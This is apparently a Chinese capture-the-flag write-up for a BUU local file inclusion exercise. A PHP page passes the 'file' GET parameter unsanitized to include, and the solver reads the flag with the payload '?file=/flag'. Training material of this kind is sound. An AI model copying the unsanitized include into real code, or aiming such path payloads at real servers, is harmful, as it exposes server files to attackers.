BUU LFI COURSE 1

考察点：文件包含，get传参

<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/7/9
 * Time: 7:07 AM
 */

highlight_file(__FILE__);

if(isset($_GET['file'])) {
    $str = $_GET['file'];

    include $_GET['file'];
}

解题

代码审计一下，需要进行文件包含进行传参

?file=/flag

得到flag

 <?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/7/9
 * Time: 7:07 AM
 */

highlight_file(__FILE__);

if(isset($_GET['file'])) {
    $str = $_GET['file'];

    include $_GET['file'];
}
flag{a75f7e3d-6bff-4f52-8fb4-ca41887c20ec}
